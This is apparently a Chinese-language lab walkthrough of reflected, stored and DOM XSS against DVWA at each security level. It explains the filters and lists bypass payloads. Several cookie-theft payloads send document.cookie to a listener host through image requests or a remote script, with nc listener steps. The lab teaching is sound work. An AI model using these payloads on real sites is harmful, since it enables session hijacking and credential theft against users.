DVWA-XSS
XSS概念:由於web應用程序對用戶的輸入過濾不嚴,通過html注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。
XSS類型:
反射型XSS:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要去誘使用戶點擊一個惡意鏈接,才能攻擊成功。
存儲型XSS:將用戶輸入的數據存儲在服務器端,每次用戶訪問都會被執行js腳本。
DOM型XSS:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,只取決於輸出地點。
XSS的應用場景:1.利用xss獲得cookie,2.重定向,3.釣魚網站,4.DDOS
一、反射型XSS
反射型XSS原理
(一)將DVWA的級別設置為low
1.1查看源代碼,可以看到沒有對參數做任何防御處理措施,直接輸出
1.2嘗試一般的XSS攻擊
<script>alert(‘xss’)</script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a> #點擊click1時彈出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址錯誤,然后執行onerror的內容
重定向:
<script>window.location='http://www.163.com'</script>
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
獲取cookie
1.<script>alert(document.cookie)</script>
2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.1在192.168.10.141上開啟監聽
Nc -nvlp 80
2.2在DVWA中輸入如下內容
<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.3此時可以在192.168.10.141的主機上獲得DVWA的cookie信息
2.4加載遠程的js腳本
2.4.1在遠端服務器上制作一個js腳本
2.4.2搭建站點,把js腳本放入到站點中,開啟web服務
/etc/init.d/apache2 start
2.4.3在js腳本中的192.168.10.141主機上開啟監聽,
2.4.4在DVWA中輸入如下內容
<script src='http://192.168.10.141/getcookie.js'></script>
2.4.5在192.168.10.141查看js腳本實現的結果
(二)將DVWA的級別設置為medium
1.分析源碼,可以看到使用str_replace函數只對參數進行了簡單的替換,過濾<script>,別的沒有過濾,此時可以用大小寫或者別的標簽來繞過
2.繞過DVWA medium防御
2.1大小寫繞過
<Script>alert('xxx')</script>
2.2組合過濾條件繞過
<scr<script>ipt>alert('sss')</script>
2.3嘗試使用別的標簽來繞過
<body onload=alert('s')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
#<script>alert('xx')</script>
(三)將DVWA的級別設置為High
1.分析源碼,可以看到,使用了preg_replace正則表達式函數,對參數進行過濾,查看源碼可以看到對<script>標簽進行了嚴格的過濾,但沒有過濾別的標簽,此時可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼
2. 嘗試使用別的標簽來繞過
<body onload=alert('s')>
<img src="" onerror=alert('xss')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
(四)將DVWA的級別設置為Impossible
1.分析源碼,可以看到使用htmlspecialchars函數對參數進行html實體轉義,此時就無法利用XSS漏洞了
二、存儲型XSS
存儲型XSS攻擊原理圖:
(一)將DVWA的級別設置為low
1.分析源碼,可以看到首先對兩個參數使用trim函數過濾掉兩邊的空格,然后$message使用mysql_real_escape_string函數轉義SQL語句中的特殊字符,使用s
tripslashes函數過濾掉”\”,對$name參數中使用mysql_real_escape_string函數轉義SQL語句中的特殊字符
2.從上面的代碼可以看到,沒有防御XSS漏洞,只防御了SQL注入漏洞
嘗試一般的XSS攻擊
在message欄中測試:
<script>alert('x')</script>
<body onload=alert('sss')>
<a href=http://www.baidu.com>clock</a>
<a href='' onclick=alert('xss')>click</a>
重定向:
<script>window.location=’http://www.baidu.com’</script>
<script>window.location=’http://192.168.10.141’</script>
<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>
獲取cookie:
<script>alert(document.cookie)</script>
<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>
1.在DVWA message欄中設置字節長度,輸入<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>,然后再kali中開啟監聽,下圖可可以看到獲取到DVWA中的cookie信息
2.換一個瀏覽器訪問192.168.10.130/DVWA中存儲型XSS,下圖可以看到成功獲得cookie信息
3.加載遠端服務器的js腳本
制作一個js腳本
把js腳本放到web站點中,開啟web服務
在DVWA欄中輸入<script src=http://192.168.10.143/getcookie.js></script>
在192.168.10.143主機上開啟監聽,當有用戶訪問DVWA中存儲型xss頁面時,就會把cookie信息發送到192.168.10.143主機上
4.修改長度的大小就可以繞過長度的限制了
(二)將DVWA的級別設置為Medium
1.分析源代碼,可以看到對$message參數做了很嚴格的過濾(進行html實體轉義以及轉義SQL語句中使用的特殊字符,杜絕了對$message關於xss的利用),但對$name參數做的過濾不嚴格,只是替換<script>以及轉義SQL語句中使用的特殊字符,可以使用別的html標簽對$name參數的防護進行繞過
2.繞過DVWA medium級別
<Script>alert('x')</script>
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
(三)將DVWA的級別設置為High
1.分析源碼,可以看到相比較中級而言,高級對$nam參數多了對<script>嚴格的過濾,沒有對別的標簽做過濾,但可以通過別的html標簽來進行繞過
2.繞過
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
(四)將DVWA的級別設置為Impossible
1.分析源碼可以看到,對兩個參數都做了html實體轉義,無法利用xss
三、DOM型XSS
文本對象模型
可儲存型,可反射型,取決於輸出地點
<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
1.在DVWA中反射型xss中輸入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
2.在192.168.10.143主機上開啟監聽,可以看到
3.在DVWA中存儲型xss中輸入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
4. 在192.168.10.143主機上開啟監聽,可以看到